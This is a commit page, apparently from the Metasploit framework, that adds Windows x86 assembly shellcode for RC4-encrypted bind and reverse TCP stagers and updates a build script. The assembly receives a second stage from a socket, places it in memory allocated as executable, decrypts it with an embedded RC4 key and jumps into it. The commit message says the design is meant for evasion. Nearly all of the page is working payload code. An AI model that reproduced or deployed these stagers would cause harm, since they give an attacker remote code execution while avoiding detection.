Skip to content

Commit cb06262

Browse files
committed
Add shellcode for RC4 bind and reverse stagers
Those stagers will encrypt the initial stage with a 128-bit RC4 key and the stage length with a XOR key. Both keys are embedded in the stager. This should provide good evasion capabilities in addition to some protection against MITM reversing (if the stager is sent a different route, like in an executable on an USB key). Note that, from a cryptanalyst's standpoint, it is a bad idea to reuse the same stager (or stagers with the same RC4 and XOR keys) more than once since an identical key will result in an identical keystream and make correlation attacks easy. But I doubt that matters in practice. Also note that since communication after the initial statging is not encrypted, these stagers should be used in combination with additional encryption support in the payloads (like Meterpreter).
1 parent b4fd341 commit cb06262

File tree

4 files changed

+110
-1
lines changed

4 files changed

+110
-1
lines changed

external/source/shellcode/windows/x86/build.py

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -75,13 +75,15 @@ def xmit( name, dump_ruby=True ):
7575
xmit_offset( data, "EggTag1", pack( "<L", 0xDEADDEAD ) ) # Egg tag 1
7676
xmit_offset( data, "EggTag2", pack( "<L", 0xC0DEC0DE ) ) # Egg tag 2
7777
xmit_offset( data, "EggTagSize", pack( ">H", 0x1122 ) ) # Egg tag size
78+
xmit_offset( data, "RC4Key", "RC4KeyMetasploit") # RC4 key
79+
xmit_offset( data, "XORKey", "XORK") # XOR key
7880
if( name.find( "egghunter" ) >= 0 ):
7981
null_count = data.count( "\x00" )
8082
if( null_count > 0 ):
8183
print "# Note: %d NULL bytes found." % ( null_count )
8284
if dump_ruby:
8385
xmit_dump_ruby( data )
84-
#=============================================================================#
86+
#=============================================================================#
8587
def main( argv=None ):
8688
if not argv:
8789
argv = sys.argv
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
;-----------------------------------------------------------------------------;
2+
; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
3+
; Michael Schierl (schierlm[at]gmx[dot]de) [RC4 support]
4+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
5+
; Version: 1.0 (31 December 2012)
6+
;-----------------------------------------------------------------------------;
7+
[BITS 32]
8+
9+
; Same as block_recv, only that the length will be XORed and the stage will be RC4 decoded.
10+
; Differences to block_recv are indented two more spaces.
11+
12+
; Compatible: block_bind_tcp, block_reverse_tcp
13+
14+
; Input: EBP must be the address of 'api_call'. EDI must be the socket. ESI is a pointer on stack.
15+
; Output: None.
16+
; Clobbers: EAX, EBX, ECX, EDX, ESI, (ESP will also be modified)
17+
18+
recv:
19+
; Receive the size of the incoming second stage...
20+
push byte 0 ; flags
21+
push byte 4 ; length = sizeof( DWORD );
22+
push esi ; the 4 byte buffer on the stack to hold the second stage length
23+
push edi ; the saved socket
24+
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
25+
call ebp ; recv( s, &dwLength, 4, 0 );
26+
; Alloc a RWX buffer for the second stage
27+
mov esi, [esi] ; dereference the pointer to the second stage length
28+
xor esi, "XORK" ; XOR the stage length
29+
lea ecx, [esi+0x00] ; ECX = stage length + S-box length (alloc length)
30+
push byte 0x40 ; PAGE_EXECUTE_READWRITE
31+
push 0x1000 ; MEM_COMMIT
32+
; push esi ; push the newly recieved second stage length.
33+
push ecx ; push the alloc length
34+
push byte 0 ; NULL as we dont care where the allocation is.
35+
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
36+
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
37+
; Receive the second stage and execute it...
38+
; xchg ebx, eax ; ebx = our new memory address for the new stage + S-box
39+
lea ebx, [eax+0x100] ; EBX = new stage address
40+
push ebx ; push the address of the new stage so we can return into it
41+
push esi ; push stage length
42+
push eax ; push the address of the S-box
43+
read_more: ;
44+
push byte 0 ; flags
45+
push esi ; length
46+
push ebx ; the current address into our second stage's RWX buffer
47+
push edi ; the saved socket
48+
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
49+
call ebp ; recv( s, buffer, length, 0 );
50+
add ebx, eax ; buffer += bytes_received
51+
sub esi, eax ; length -= bytes_received
52+
test esi, esi ; test length
53+
jnz read_more ; continue if we have more to read
54+
pop ebx ; address of S-box
55+
pop ecx ; stage length
56+
pop ebp ; address of stage
57+
push ebp ; push back so we can return into it
58+
push edi ; save socket
59+
mov edi, ebx ; address of S-box
60+
call after_key ; Call after_key, this pushes the address of the key onto the stack.
61+
db "RC4KeyMetasploit"
62+
after_key:
63+
pop esi ; ESI = RC4 key
64+
%include "./src/block/block_rc4.asm"
65+
pop edi ; restore socket
66+
ret ; return into the second stage
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
;-----------------------------------------------------------------------------;
2+
; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
3+
; Michael Schierl (schierlm[at]gmx[dot]de) [RC4 support]
4+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
5+
; Version: 1.0 (31 December 2012)
6+
; Size: 413 bytes
7+
; Build: >build.py stager_bind_tcp_rc4
8+
;-----------------------------------------------------------------------------;
9+
[BITS 32]
10+
[ORG 0]
11+
12+
cld ; Clear the direction flag.
13+
call start ; Call start, this pushes the address of 'api_call' onto the stack.
14+
%include "./src/block/block_api.asm"
15+
start: ;
16+
pop ebp ; pop off the address of 'api_call' for calling later.
17+
%include "./src/block/block_bind_tcp.asm"
18+
; By here we will have performed the bind_tcp connection and EDI will be our socket.
19+
%include "./src/block/block_recv_rc4.asm"
20+
; By now we will have received in the second stage into a RWX buffer and be executing it
Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
;-----------------------------------------------------------------------------;
2+
; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
3+
; Michael Schierl (schierlm[at]gmx[dot]de) [RC4 support]
4+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
5+
; Version: 1.0 (31 December 2012)
6+
; Size: 405 bytes
7+
; Build: >build.py stager_reverse_tcp_rc4
8+
;-----------------------------------------------------------------------------;
9+
10+
[BITS 32]
11+
[ORG 0]
12+
13+
cld ; Clear the direction flag.
14+
call start ; Call start, this pushes the address of 'api_call' onto the stack.
15+
%include "./src/block/block_api.asm"
16+
start: ;
17+
pop ebp ; pop off the address of 'api_call' for calling later.
18+
%include "./src/block/block_reverse_tcp.asm"
19+
; By here we will have performed the reverse_tcp connection and EDI will be our socket.
20+
%include "./src/block/block_recv_rc4.asm"
21+
; By now we will have recieved in the second stage into a RWX buffer and be executing it

0 commit comments

Comments
 (0)